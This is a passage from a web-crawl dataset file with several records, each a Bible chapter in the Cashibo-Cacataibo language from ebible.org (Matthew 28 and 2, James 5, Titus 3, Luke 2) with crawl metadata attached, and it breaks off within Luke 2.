unicaman chaniocëbëtan mitsun 'apun cuacëbë cananuna nux abë banati 'ain. Nux abë banacëbë camina mitsux uisaríma asábi 'iti 'ain.\n15 Usoquian judíos unibunën 'apucaman cacëx ca suntárucamax curíqui bibiani atúan cacësabi oquin unicama parani cuancëxa. Atúan usoquin cá cupí ca bërí nëtë́nribi judíos unicama usai quia.\nJesusan aín 'unánmicë unicama ashiquin cá bana\n(Mr 16.14-18; Lc 24.36-49; Jn 20.19-23)\n16 Angelnën cacësabi oi cuanxúan xanucaman cacëx ca Jesusan 'unánmicë uni mëcën rabë́ 'imainun achúshi, acamax Galileanu 'icë matá me anu cuancëxa, anu cuanúan Jesusan cacë anu. 17 Cuanxun anua mëraxun ca cuëënquin —ënëx ca asérabi Nucën 'Ibu Jesús 'icë —quixun sinánquin rabiacëxa, raírinëan —asérabi ca Nucën 'Ibu Jesús 'icë —quixun sináncëbëtanmabi. 18 Usoquian rabicëxun ca Jesusan a rapasu cuanquin atu cacëxa:\n—'Ën Papa Diosan ca naínuxun 'anan menuxunribi añu ñu carana 'aisa tani a 'ëx cuëëncësa oquin 'anun aín cushi 'ë 'inánxa. 19 Usa 'ain camina mitsun camabi menu cuanquin anu 'icë unicama 'ëmi catamënun sinánmiti 'ain. Usoquin sinánmiquin camina, ëmi ca catamëtia quixun 'unántioquin 'ën Papa Diosmi sinani, 'ëmiribi sinánan aín Bëru Ñunshin Upími sinania, nashimiti 'ain. 20 Nashimianan camina 'ën mitsu ñuixuncë banacama 'unánmiquin a banacama quicësabi oquin 'anun quixun atu 'unánmiti 'ain. Usaquin 'aquin camina 'unánti 'ain, 'ëx cana camabi nëtën usaquin 'acë 'ën unicamabë 'ain, 'ëx utëcënti nëtë sënë́ntamainun. Ashi.","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/ebible.org\/cbrNT\/MAT28.htm","date":"2022-01-25T14:55:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320304835.96\/warc\/CC-MAIN-20220125130117-20220125160117-00057.warc.gz","language":"cbr","language_score":1.000007391,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"cbr_Latn_score\": 1.0000073909759521}","num_words":502,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.212,"stopwords_ratio":0.255,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"5\nÑuñu uni usai 'iti ca 'aisama 'icë quicë bana\n1 Ñuñuira unicama, mitsúnribi camina 'ën cacëxun cuati 'ain. Mitsúxmi 'aisamaira ñuñu 'ianan curíquiñu 'aish, a cupí tëmërati sinani camina masá nuituti inti 'ain. 2 Mitsun curíqui 'imainun mitsun ñucamaribi ca chëquiisa 'icën, mitsun chupa upíburibi ca nacuaxan piisa 'icën. 3 Mitsun manë ñu curi 'acë 'imainun manë uxua 'acë, mitsun curíquicamaribi ca puibuisa 'icën. Usa 'aish ca a ñucama chëqui nëtë́ti 'icën. Tsin nëncë́xa ñu nëtë́cësa usaribitia mitsun ñucama nëtë́mainun camina mitsúxribi tëmërati 'ain. Nucën 'Ibu Jesucristo utëcënti 'urama 'aínbi camina ñuñu 'itishi sinánquin mitsunainshia 'inun ñu bucúnruan. 4 An mitsu naënuxun ñu mëëxuncë uni camina cupíocëma 'ain. Cupíocëma 'aish ca mitsu ñui banaia. Usaquian mitsu ñuia ca ángelcaman 'apu, Nucën 'Ibu Dios, an cuaxa. 5 Ënë menuax camina 'aisamaira ñu upíñu 'aish mitsux cuëëncësabi oi 'ian. Usa 'aish camina aín 'ibúan 'aracacë ñuina anun 'ati nëtë sënë́ncëbëtan 'anuxun rëracamicësa 'ain. 6 Mitsun camina 'uchañuma unibi 'uchoquin 'an. Usoquinmi 'acëxunbi ca atun mitsu cupicëma 'icën.\nUisai cara ñu 'icëbëbi bënëtima Nucën Papa Diosbë banati\n7 'Ën xucë́antu, Nucën 'Ibu Jesucristo utámainun camina tëmëraibi bënë́quinma anúan uti nëtë caínti 'ain. An ñu 'apácë unin ca ñu 'apátancëxun anun aín bimi biti nëtë sënë́ntamainun cainia. Usa 'ixun ca mitabutancëxa sënë́ncëbëtan ñu 'apátancëxun bënë́quinma canitancëxuan tuaia aín bimi binuxun cainia. 8 Usaribi oquin camina mitsun, —Nucën 'Ibu Jesucristo anun utëcënti nëtë ca 'urama 'icë —quixun sinánan masá nuituti bënëtima cuëënquin caínti 'ain. 9 'Ën xucë́antu, Nucën Papa Diosan anun camabi uni aín nuitu 'unánquin uisoquin cara ñu 'axa quixun isti nëtë 'urama 'ain, camina mitsúxmi an 'uchocëma 'inun, uni raíribë ñuianani nishanantima 'ain. 10 'Ën xucë́antu, camina an Nucën 'Ibu Dios quicë bana uni ñuixuncë unicama 'iásaribiti 'iti 'ain. Atun ca tëmëraquinbi bënë́quinma tanshiacëxa. 11 Uicaman cara tëmëraquinbi bënë́quinma tanshitia ax ca upí oquinshi sinani cuëënia quixun cananuna 'unanin. Mitsun camina Jobnëxa 'aisamaira tëmëraibi Nucën 'Ibu Diosmi catamëa a bana ñuia cuan. Cuacë 'ixun camina 'unáncanin, uisaira oquin cara Nucën 'Ibu Dios an nuibaquin uni 'aquincë 'ixun a uni 'aquiancëxa quixun.\n12 'Ën xucë́antu, bëtsi banacama cuaquinbi camina ënë banaira sinánti 'ain. Mitsux camina mitsun bana isa asérabi 'icë quixun unin cuanun —naitanbi cuamainun cana mi cain —quianan —menbi cuamainun cana mi cai —quitima 'ain. Uisa ñubi cara, a ñui camina —cana asérabi mi cai —quiax quitima 'ain. Usai quima camina asérabi banáinshi banati 'ain, Nucën Papa Diosan mitsu 'uchotima cupí.\n13 Micama uinu 'icëx caramina masá nuituti bëtsi sinani camina Nucën Papa Diosbë banati 'ain. Micama uinu 'icëx caramina cuëëni chuámarua tani camina Nucën Papa Dios rabi cantati 'ain. 14 Uix cara ñucë 'icë, anribi ca Jesucristomi catamëcë unicaman cushicama camiti 'icën, xëni ron 'aquian, an pëxcunun Nucën 'Ibu Jesucristo ñucáxuni unun. 15 Asérabi ca an ënë uni pëxcuti 'icë quixun sinánquinmi a ñucáxuncëxun ca Nucën 'Ibu Jesucristonën ñucë uni pëxcuti 'icën. Pëxcüanan ca aín 'uchacama tërë́nxunti 'icën. 16 Usa 'ain camina mitsúnmi min 'atimaquin sináncë a ñuixuananquin abëmi Jesucristomi catamëcë uni raíribë mia usa ñucama mëníoxunun Nucën Papa Dios ñucáxuananti 'ain. Upíira oquin sinánquin ñucácë cupí ca Nucën Papa Diosan upí oquin uni 'aquinti 'icën. 17 Elías, an Nucën Papa Dios quicë bana unicama ñuixuncë uni, an ca nusaribi uni 'ixunbi 'uía 'ibuaxma 'inun Nucën Papa Dios ñucácëxa. Usa 'ain ca an ñucácësabi oi rabë́ 'imainun achúshi baritia, 'imainun achúshi mëcën 'imainun achúshi 'uxën 'uí 'ibuama 'icën. 18 Usaía 'icëbëtan Nucën Papa Dios amiribishi ñucátëcëncëbëa, 'uí 'ibútëcëncëbë ca menu 'icë ñucama cotëcëni bimiacëxa.\n19 'Ën xucë́antu, micama achúshinën Nucën Papa Diosan bana ëncë 'icëbi bëtsi uni sinanamiquin ami catamëtëcënun 'imicëbëtan, 20 camina 'unánti 'ain, ui unin cara usoquin uni 'uchañu 'icëbi sinanamia, an ca a uni Nucën Papa Diosnan 'inun ië́cë 'ianan aín 'uchacama tërë́ncë 'inun 'imiti 'icë quixun. Ashi, Santiago.","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/ebible.org\/cbrNT\/JAS05.htm","date":"2022-01-17T01:26:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320300253.51\/warc\/CC-MAIN-20220117000754-20220117030754-00404.warc.gz","language":"cbr","language_score":1.0000070333,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"cbr_Latn_score\": 1.0000070333480835}","num_words":600,"character_repetition_ratio":0.08,"word_repetition_ratio":0.0,"special_characters_ratio":0.208,"stopwords_ratio":0.335,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"3\nUsaia axa Jesucristomi catamëcë unicama 'iti bana\n1 Axa Jesucristomi catamëcë unicama camina manuaxma 'inun ësaquinribi cati 'ain: Aín 'apucama 'imainun aín cushicaman bana cuaquin ca atun cacësabi oquin 'ati 'icën. Uisa ñu cara upí 'icë a ca chiquíshquinma 'ati 'icën. 2 Uinu 'icë unimibi ca 'atimati banatima 'icën. Bëtsi unibë cuëbicanancëma 'ianan ca upí sinánñu uni 'aish rabiti cuamianantima 'icën.\n3 Nuxribi cananuna sinánñuma 'aish Nucën Papa Diosan bana quicësabi oi 'iáma 'ain. Usa 'aish cananuna ñu 'atimaishi 'anúan bëtsi unin sinánmicëxun 'anan nunbi sinani nux cuëëncësabi oi ñunshini 'iacën. 'Aisama ñuishi 'anan cananuna bëtsi unimi nutsianan numia uni nishcëx abë nishanancën. 4 Usaínu 'iá 'icëbi ca Nucën Papa Dios, an nu ainan 'inun ië́miti, an, an ca upíira 'ixun nu nuibatia quixun nu 'unánmiacëxa. 5 Usoquin ca nun ñu upí 'acë cupíma, nuibaquinshi nu ainan 'inun ië́miacëxa. Ië́miquin ca bacë́ntëcëncësa 'inun nun 'uchacama tërë́nquin aín Bëru Ñunshin Upitan nu bëtsi ocëxa. 6 Jesucristo, an nu ië́micë, a cupíshi ca Nucën Papa Diosan aín Bëru Ñunshin Upí nubëa 'iti oquin nu 'ináncëxa. 7 Usa 'ixun cananuna anbia nuibaquin nu 'aquinquin upí 'imicë cupí, abënu xënibua 'aínbi tsóti, a caínti 'ain.\n8 Ënë banacamax ca asérabi upí 'icën. Usa 'aían ax quicësabi oi camabi uni 'iti ca asábiira 'icën. Usa 'ain camina axa ami catamëcë unicama Nucën Papa Dios cuëëncësabi oi 'iquian ënquinma ñu upíshi 'anun upí oquin 'ësëti 'ain. 9 Bëtsi bëtsi unix ca sinánxmaishi aín rara 'iá bana ñui bëtsi unibë cuëbicanánan, usaía judíos unicama 'itia Moisésnën cuënëo bana uisai quicë cara quixun ñui cuamianani bëtsibë nishánania. Usaía 'iabi camina mixribi usai 'iquinma atu isëshiti 'ain. Usai 'iquin upí oquin sinani banacëma 'ixun ca unin bëtsi uni upitaxa 'inun 'aquinima.\n10 Uinu 'icë unin cara axa Jesucristomi catamëcë unicama bëtsin sináncësa oquian sinánunma amanu amanu sinánmia, a camina usai 'iaxma 'inun quixun caquin 'ësëti 'ain. Cacë́xbia sinanatiama camina amiribishi catëcënti 'ain. Cacëxunbia cuatiama camina mitsubëa 'inúnma ënti 'ain, 11 ax upí sinánñu 'iá 'aíshbi ca bërí usama 'icë quixun 'unánquin. Aín ñu 'aisama 'acë sinanaquin ëncëma cupí camina usoquin 'ati 'ain.\nËsaquinribia Pablonën Tito cá bana\n12 Nicópolisnuxun mita inúmiti cana sinanin. Usa 'ain, Artemas carana xuti 'ain, Tíquico carana xuti 'ain, xucëbë camina panatima Nicópolisnu 'ë isi uti 'ain. 13 Ucëma pain 'ixun camina an bana 'unánquin unicama 'ësëcë uni, Zenas, abëtan Apolonën cuanuxun aín ñu mëníoia 'aquinti 'ain. 'Aquianan camina cuania uisa ñu cara cuëënia a 'inánti 'ain. 14 Usa 'ain camina axa Jesucristomi sináncë unicaman upí ñuishi 'anan bëtsi uniribi 'aquinsa 'icë 'aquinun sinánmiti 'ain, usaquin 'aquian uni raíriribi Jesucristomi catamënun 'aquinun.\nUpí oquin sinánxunquian ashiquin Pablonën bërúanxa 'inun ca\n15 'Ëbë 'icëcaman ca camaxunbi bërúanxmi 'icanun mitsu canun quixun 'ë caxa. Uicaman cara nuxnu Jesúsmi sináncë 'icë nu nuibatia acama camina bërúanxa 'inun cati 'ain. Nucën Papa Diosan micama nuibaquin 'aquincëxmi upitax 'iti cana cuëënin. Ashi, Pablo.","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/ebible.org\/cbrNT\/TIT03.htm","date":"2022-01-19T07:52:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320301264.36\/warc\/CC-MAIN-20220119064554-20220119094554-00469.warc.gz","language":"cbr","language_score":1.0000060797,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"cbr_Latn_score\": 1.000006079673767}","num_words":458,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.212,"stopwords_ratio":0.295,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2\nAn ñu 'unáncë unicaman Jesús rabia\n1 Herodes axa Judea cacë menu 'icë unicaman 'apu 'aish Jerusalénu 'ain ca a menu 'icë ëma, Belén cacë, anuax Jesús bacë́ancëxa. Belénuaxa Jesús bacë́an ca aucüaxa bari urucë anuax an ñu 'unáncë unicama, Belén 'urama 'icë Jerusalén ëmanu cuancëxa. 2 Cuani bëbaquin ca ñucácëxa:\n—¿Uinu cara axa judíos unibunën 'apu 'inun bërí bacë́ncë a 'ic? Aucüaxa bari urucë anuxun cananuna anun a 'unánti 'ispa isbëtsian. A isbëtsini cananuna 'unánbëtsini a rabi ain.\n3 Usaía quia a bana cuati ca Herodes 'imainun Jerusalénu 'icë unicama masá nuituti, uisa cara ënë ñu 'iti 'icë quiax sináncasmacëxa. 4 Sináncasmaquin ca Herodesnën camabi judíos sacerdotenën cushicama 'imainun an Moisésnën cuënëo bana judíos unicama 'unánmicë unicamaribi camicëx ricuatsianxa timëtia ñucácëxa, uinuax caraisa Cristo axa utia judíos unibunën caíncë, ax bacë́nti 'icë quixun. 5 Ñucácëxun ca cacëxa:\n—Belén cacë ëma, Judea menu 'icë, anuax ca bacë́nti 'icën. An Nucën Papa Dios quicë bana uni ñuixuncë unin ca Belén ñuiquin ësoquin cuënëocëxa:\n6 Belén, Judá menu 'icë ëma, anu 'icë uni achúshi ax 'apu 'ixun ca 'ën unibu, Israelnën rëbúnquicama, a bërúanquin 'aquinuxun 'aia. Usa 'ain ca Belén ax bëtsi ëmacamasama 'icën.\n7 Quia cuatancëxun ca Herodesnën an ñu mëëxuncë unicama —uni itsin isnunma camina unë́xun an ñu 'unáncë unicama 'ë bëxúnti 'ai —quixun cacëxa. Usoquian camicëx ucë ca ñucácëxa, añu nëtën caraisa 'ispa isaxa quixun. 8 Usoquin ñucátancëxun ca Herodesnën an ñu 'unáncë unicama Belénu cuanun xuacëxa. Xuquin ca ësaquin cacëxa:\n—Anu cuanxun uinu cara a tuá 'icë quixun istancëxun camina 'ënribi a rabi cuanun 'ë cai uti 'ai —quixun.\n9 Usoquian Herodesnën cacëx ca a tuá bari cuancëxa. Cuancëbë ca aucüaxa bari urucë anuxuan atun iscë 'ispa ax anúan a unicamax cuanti anúnbi cuancëxa. Cuanx ca anu a tuá 'icë a manámibi a 'ispa niracëacëxa. 10 A isi cuëënquiani ca anúan a 'ispa cuancë anúnbi an ñu 'unáncë unicama cuancëxa. 11 Cuanx a manámia 'ispa niracëcë xubu anu atsínxun ca anua a tuá Jesús aín tita Maríabë 'icë mëracëxa. Mërai rantin puruni tsóbuquin ca Jesús rabiacëxa. Rabiquin ca atun bunánti bacáxun anua buáncë curi 'imainun tsëpasa ñu 'aíshbi nëëncëx sanuira a 'imainun i baca sanuira acama 'ináncëxa. 12 Usoquian 'ináncë ca namámiquin Nucën Papa Diosan anua Herodes 'icë anun cuanxma 'inun cacëx bai itsin cuantancëx aín nëtënu bëbacëxa.\nJosénën aín titacëñun Jesús Egíptonu buan\n13 An ñu 'unáncë unicamaxa aín menu cuantëcëan ca Nucën 'Ibu Diosan ángelnën José namámiquin cacëxa:\n—Herodesnën ca a tuá 'aminuxun bariminuxun 'aia. Usa 'ain camina niruquianquin aín titacëñun a tuá bibiani Egipto menu cuanti 'ain. Cuantancëx camina 'ën mi cacë́xmi utëcënun anu 'iti 'ain.\n14 Usoquian ángelnën cacëx niruquin aín titacéñun a tuá bibiani ca José imë́ Egipto menu cuancëxa. 15 Anu ca Herodes pan bamatamainun 'iacëxa. Nucën 'Ibu Diosan 'amicëxuan aín unin cuënëosabi oi ca Egipto menu 'iacëxa. A banax ca ësai quia: \"Egiptonua cana 'ën Bëchicë bëan\".\nTuácama rënun quixun Herodesnën ca\n16 Usa 'ain ca —an ñu 'unáncë unicaman ca 'ë paránxa —quiax Herodes 'aisamairai nishacëxa. Nishquin ca an ñu 'unáncë unin ñuicë bana sinánquin Jesús isa rabë́ baritia aín bacë́ncë 'icë quixun sináncëxa. Sinánxun ca aín uni xuacëxa, camabi Belénu 'icë rabë́ baritiañu bëbu tuácama 'anan rabë́ baritiañuma bëbu tuácamaribi 'abianxun a 'urama 'icë ëmacamanuaribi bariquin cëñunun quixun. 17 Usaquin 'acëbë ca Jeremíasnën cuënëo bana quiásabi oi 'iacëxa. A banax ca ësai quia:\n18 Ramá cacë ëmanuxun ca rarumatía inia cuacanxa. Ax ca Jacob 'imainun aín xanu Raquelnën rëbúnqui a xanucamaxa aín tuacën rabanan incë 'iaxa. Aín tuá 'aíma cupí a sinani upí 'iisama tani ca uínbi nëtë́misamai ianxa.\n19 Usa 'ain ca Herodes bama 'ain Egiptonuxun namáquin Josénën Nucën 'Ibu Diosan ángel achúshi isacëxa. 20 Iscëxun ca amiribishi cacëxa:\n—Niruquiani ca aín titacëñun a tuá bibiani amiribishi Israel nëtënu cuantëcëntan. An a tuá 'aisa tancë unicama ca bamaxa. Usa 'ain camina cuantëcënti 'ain.\n21 Usaquian ángelnën cacëx ca José aín titacëñun a tuá bibiani Israel nëtënu cuantëcëancëxa. 22 Usa 'ain ca José cuantëcënti 'aíshbi —Herodes axa bama 'ain ca aín bëchicë Arquelao, ax Judea menu 'apu 'icë —quixun ñuia cuax anu cuantëcënti racuë́acëxa. Racuëti ca namáquin istancëx Judea me anu Arquelao 'icë anu cuaníma Galilea menu cuancëxa, aín namácësabi oi. 23 Galilea menu bëbatancëx ca Nazaret ëmanu tsoti cuancëxa, usai 'itioquian an Nucën Papa Dios quicë bana uni ñuixuncë unicaman ñuiasabi oi. A banax ca ësai quia, Jesús ca Nazaretnu 'icë uni 'icë quixun ca unin caia.","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/ebible.org\/cbrNT\/MAT02.htm","date":"2022-01-28T19:39:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320306335.77\/warc\/CC-MAIN-20220128182552-20220128212552-00469.warc.gz","language":"cbr","language_score":1.0000082254,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"cbr_Latn_score\": 1.000008225440979}","num_words":706,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.209,"stopwords_ratio":0.307,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2\nJesús bacë́an\n(Mt 1.18-25)\n1 Ënë menua Jesús uti ca ësai 'iacëxa: Romanu 'icë 'apu, César Augusto, aín bana ca cuacocancëxa, camabi unix ca aín anë quiricanu 'ai cuanti 'icë quixun. 2 Cirenio cacë uni axa Siria nëtënu 'icë unicaman 'apu 'ain ca a quirica 'atabaquin 'acancëxa. 3 Usa 'ain ca camabi unix uinu 'icë ëmanuax cara bacë́ancëxa, anuxun aín anë quiricanu 'ai riquiancëxa. 4 Usa 'ain ca José Galilea menu 'icë ëma Nazaret cacë, anuax Belén cacë ëmanu cuancëxa. Belén ax ca Judea menu 'icë ëma, anuaxa David bacë́an, a 'iacëxa. José, ax David aín rëbúnqui 'aish, ca aín anë 'ai Belénu cuancëxa. 5 Cuanquin ca an binuxun 'unántiocë xanu, María, tuñu 'icë, anribia aín anë 'anun buáncëxa. 6 Buáncëx cuanx Belénu bëbatancëx ca María aín bacë́nti nëtë sënë́ancëxa. 7 Sënë́ncëbë ca anu 'iti xubu anu 'aínbia 'aisamaira 'ixun unin tsitsiruan anuxun ñuina pimiti 'itinuax María bacë́ancëxa. Bacë́nxun ca chupan rabúnxun anuxun ñuina pimiti bunánti anu aín tuá racáncëxa.\nAngelcaman an ñuina bërúancë unicama ca\n8 Usa 'ain ca Belén 'urama 'icë pastonu an ñuina bërúancë unicama 'iacëxa. 'Ixun ca imë́ 'uxti tëaquin aín ñuina bërúancëxa. 9 Anu 'ixun ca Nucën 'Ibu Diosan xucëx ángel achúshi atumi chiquiracëtia isacëxa. Iscëbëtan ca Nucën 'Ibu Diosan pëcacën atu pëcacëxa. Usocëbë ca ratuti racuë́acëxa. 10 Usariabi ca ángelnën atu cacëxa:\n—Racuë́axma ca 'it. Micama cana upí bana ñuixunin. Ënëx ca camabi unin cuati 'icën. Cuati ca chuáma tani cuëënti 'icën. 11 Ënë nëtën ca bacë́anxa anuax David bacë́an ëmanuax an camabi uni aín 'ucha tërë́ncë 'aish Nucën Papa Diosnan 'inun ië́miti. Ax ca Nucën 'Ibu Cristo, a 'icën. 12 Ënë isquin camina 'ën mitsu cacë bana ax ca asérabi 'icë quixun 'unánti 'ain, cuanxun camina a Tuá chupan rabúnxuan anuxun ñuina pimitinu racáncë isti 'ain.\n13 Quicëbëshi ricuatsini timëti Nucën Papa Dios rabi ca ángelcamax quiacëxa:\n14 —¡Naínu 'icë Nucën Papa Dios rabinun ca 'at! ¡Ënë nëtënuaxa Nucën Papa Diosbë upí 'icë unicamax ca chuámashirua 'ican!\n15 Usoquin atu catancë́xa ángelcamax naínu riquiancëbë ca an ñuina bërúancë unicamax canancëxa:\n—Taín isi Belénu cuanun ca cuan, nua Nucën 'Ibu Diosan camicëxuan aín ángelnën nu cacë ënë isi.\n16 Cananquiani bënëtishi riquianxun ca María 'imainun José isanan aín Tuá anuxun ñuina pimitinu racáncë isacëxa. 17 Isquin ca ángelnëan a Tuá ñuiquin cacë banacama ñuixuancëxa. 18 Usaquian an ñuina bërúancë unin ñuia cuati ca an cuacë unicama ratúacëxa. 19 Ratúquinbi ca Maríanën aín nuitu mëúishi ënë ñucama manuquinma sináncëxa. 20 Usa 'ain ca an ñuina bërúancë unicama an a iscë ñucama 'imainun an a cuacë ñucama sinánquin Nucën Papa Dios rabi, pastonu amiribishi riquiancëxa. Riquianquin ca —ángelnëan nu cacësabi oi ca 'iaxa —quixun sinánan ax ca upíira 'icë quixun sinánquin Nucën Papa Dios rabiacëxa.\nJosébëtan Maríanën Jesús anuxun Nucën Papa Dios rabiti xubunu buan\n21 María bacë́ncë achúshi semana 'imainun achúshi nëtë 'ain ca atúan aín bëchicë 'acësabi oquin judíos uni raírinën Maríanën tuá judío 'icë 'unántiocëxa. 'Unántioquin ca María tuutisama pain 'aían ángelnën cacësabi oquin Jesús caquin anëacëxa.\n22 Moisésnën cuënëo banaxa —bacë́ntancëxun ca camabi judío xanun usoquin aín tuá 'ati 'icë —quicësabi oquin ca Maríanën anúan bacë́ncë 'uxë sënë́ncëbëtan aín rëcuën tuá Josébëtan Jerusalénu buáncëxa, ax ca ainan 'icë Nucën 'Ibu Dios canuxun. 23 Moisésnën cuënëo bana ca ësai quia: \"Camabi rëcuën bëbu tuá ax ca Nucën 'Ibu Diosnanshi 'iti 'icën\". Usa 'ain ca a bana quicësabi oquin Josébëtan Maríanën Jerusalénu 'icë xubu, anuxun Nucën Papa Dios rabiti, anu Jesús buáncëxa. 24 Moisésnën cuënëo bana ca quia, anúan aín bëbu tuá bacë́ncë 'uxë sënë́ncëbëtan ca xanun an 'aracacë numacuru rabë́ buánti 'icën, numacuru itsi 'aíma 'ain ca an 'aracacë paru numacuru buánti 'icën. A bana quicësabi oquin ca Maríanën Jesús buánan numacuru rabë́ribi judíos sacerdote 'inánuxun buáncëxa.\n25 Jerusalénu 'icë uni achúshi ax ca Simeón caquin anëcë 'iacëxa. A unix ca upí nuituñu 'ixun a rabianan Nucën 'Ibu Dios quicësabi oquin 'acë 'iacëxa. Usa 'ixun ca an Israel unibu chuámashirua 'imiti, axa uti caíancëxa. Usa 'ain ca abë Nucën Papa Diosan Bëru Ñunshin Upí 'iacëxa. 26 An ca Nucën Papa Diosan Bëru Ñunshin Upitan sinánmicëxun ësoquin sinánquin 'unáncëxa: Bamacëma pain 'ixun cana 'ën axa utia judíos unicaman caíncë, Cristo, a Nucën 'Ibu Diosan xucë isti 'ain.\n27 Usa 'ain ca Simeón Nucën Papa Diosan Bëru Ñunshin Upitan sinánmicëx anuxun Nucën Papa Dios rabiti xubunu cuancëxa. Cuanx anu 'ain ca Josébë María, Moisésnën cuënëo bana quicësabi oquin 'anuxun Jesús buanx atsíancëxa. 28 Atsinia isquin a tuá 'icúquin biquin ca Simeonën Nucën Papa Dios rabiquin cacëxa:\n29 'Ën 'Ibu Dios, a ñuiquinmi 'ë cacë a cana isan. Usa 'ain ca 'ëx bamati asábi 'icën. 30 An camabi uni aín 'uchacama tërë́nquin minan 'inun ië́miti a cana 'ën bërúnbi isin. 31 Ax ca usai 'iti 'icë quixuan camabi unin 'unánun camina aín uti mëníon. 32 An ca Israel unibushima judíosma unicamaribi aín sinan upí 'inun 'imiti 'icën. Minan 'inúnmi caísa, Israel unibu, acama achúshi 'aish, a cupí ca camabi unin Israel unibu rabiti 'icën.\n33 Simeónëxa Jesús ñui quia cuati ca Josébë María uisa 'aish cara usai 'iti 'icë quiax sináncasmacëxa. 34 Sináncasmaiabi ca Simeónën acama Nucën Papa Dios ñucáxuntancëxun Jesusan tita, María, cacëxa:\n—Ënë tuá cania aín bana cuaisama tani ca 'itsaira Israel uni Nucën Papa Diosbë upíma 'iti 'icën. Usai 'icëbëbi ca 'itsa uníxribi aín bana cuati abë upíira 'iti 'icën. Uisai cara Nucën Papa Dios cuëënia quixuan unicaman 'unánun xucë 'aínbi ca 'itsa unix aín bana cuati cuëënima a ñui 'atimati banati 'icën. 35 Usai 'ia isquin ca an uisoquin cara aín nuitu mëu sinania quixun Nucën Papa Dios 'imainun unicamanribi 'unánti 'icën. Usaía 'imainun camina mixribi, María, a sinánxuni masá nuituirati 'ain.\nUsaquin ca Simeonën María cacëxa.\n36 Anuribi ca achúshi xanu xëniira, Ana cacë, 'iacëxa. Ana ax ca an Nucën Papa Dios quicë bana unicama ñuixuncë xanu 'iacëxa. Ax ca Asernën rëbúnqui achúshi, Fanuel cacë, aín bëchicë 'iacëxa. Xuntacu 'icëa bicëx ca aín bënëbë mëcën achúshi 'imainun rabë́ baritia 'iacëxa. 37 Mëcën achúshi 'imainun rabë́ baritia 'icëbë casunamëa 'aish ca ochenta y cuatro baritiañu 'iacëxa. Usa 'ixun ca anuxun a rabiti xubunuax camabi nëtën abë banaquin Nucën Papa Dios rabiacëxa. A upí oquin sinánuxun ca bëtsi bëtsi nëtën piama 'icën. Nëtë́nbi imë́bi ca usaquin Nucën Papa Dios rabiacëxa. 38 Josébë María a bëi atsíncëbë axribishi anuxun Nucën Papa Dios rabiti xubunu atsínquin ca Anan Jesús isacëxa. Isi cuëënquin ca —asábi ca —caquin Nucën Papa Dios rabiacëxa. Rabiquin ca anu 'icë uni an anun Jerusalénu 'icëcama 'imainun camabi judíos uni chuámarua 'inux ië́ti nëtë caíncë unicama, a Jesús ñuiquin —an nu ië́miti a ca ënëx 'icë —quixun cacëxa.\nNazaretnu cuantëcëan\n39 Usa 'ain ca Josébëtan Maríanën Nucën 'Ibu Diosan bana Moisésnën cuënëo ax quicësabi oquin 'atancëx Galilea menu cuantëcëni anu atux 'icë ëma, Nazaret, anu bëbatëcëancëxa. 40 Anu cuanx ca Jesús Nazaret ëmanuax caniacëxa. Cani cushi 'ixun ca ñu upí oquin 'unáncëxa. Usai 'ia cania ca aín Papa Diosan upí oquin 'aquiancëxa.\nAnuxun Nucën Papa Dios rabiti xubunua Jesús 'ia\n41 Usaía Jesús canimainun ca José 'imainun María camabi baritian, Pascua anun carnero 'ati nëtën Jerusalénu 'inux cuancëxa. A nëtë ax ca aín raracama Egipto menuax 'atimocë 'aish bamaibi ië́a, a sinánquin Nucën Papa Dios rabiquin carnero 'ati nëtë 'iacëxa. 42 Usai cuanquin ca mëcën rabë́ 'imainun rabë́ baritiañu 'icë Josébëtan Maríanën Jesús anun carnero 'ati nëtën Jerusalénu buáncëxa. 43 Anu cuanx anun carnero 'ati nëtë inúmibiani amiribishi Nazaret ëmanu cuantëcënquin ca Maríanën Josébëtan a ñubi sinanima cuanquin Jesús Jerusalénubi ëbiancëxa. 44 Ëbiani ca raíri unicamabë cuancësa sinani Josébë María achúshi nëtë bain cuancëxa. Cuanxun ca aín aintsi 'ibucamanua barianan an 'unáncë unicamanuaribi bariquinbi 'aímocëxa. 45 'Aímobiani ca Josébë María amiribishi Jerusalénua bari cuantëcëancëxa.\n46 Usa 'ain ca rabë́ 'imainun achúshi nëtë 'icëbëtan anuxun Nucën Papa Dios rabiti xubunu tsóxuan, an Moisésnën cuënëo bana uni 'unáncë unicaman bana ñuixuncëxun cuaquin anribi atu bana ñucatia mëracëxa. 47 Jesusan bana cuati ca a unicama ratúacëxa. Ratuti ca —uisa 'ixun cara ënë tuacën ënë ñucama 'unánan nun ñucácëxunribi upí oquin ñuia —quiax sináncasmacëxa. 48 Usaía a unicamabë banai tsócë Jesús mërai ca Josébë María ratúacëxa. Ratúquin ca aín titan cacëxa:\n—¿Uisa 'aish caramina usai 'ian? Min 'unan papabëtan cana mi mëracatsi bënë́quin barin.\n49 Cacëxunbi ca Jesusan cacëxa:\n—¿Uisa cupí caina 'ë barian? ¿'Ën Papa quicësabi oquin 'ën ñu 'ati caramina 'unaniman?\n50 Cacëxun cuaquinbi ca Josébëtan Maríanën uisoquin caquin cara usoquin caia quixun 'unánma 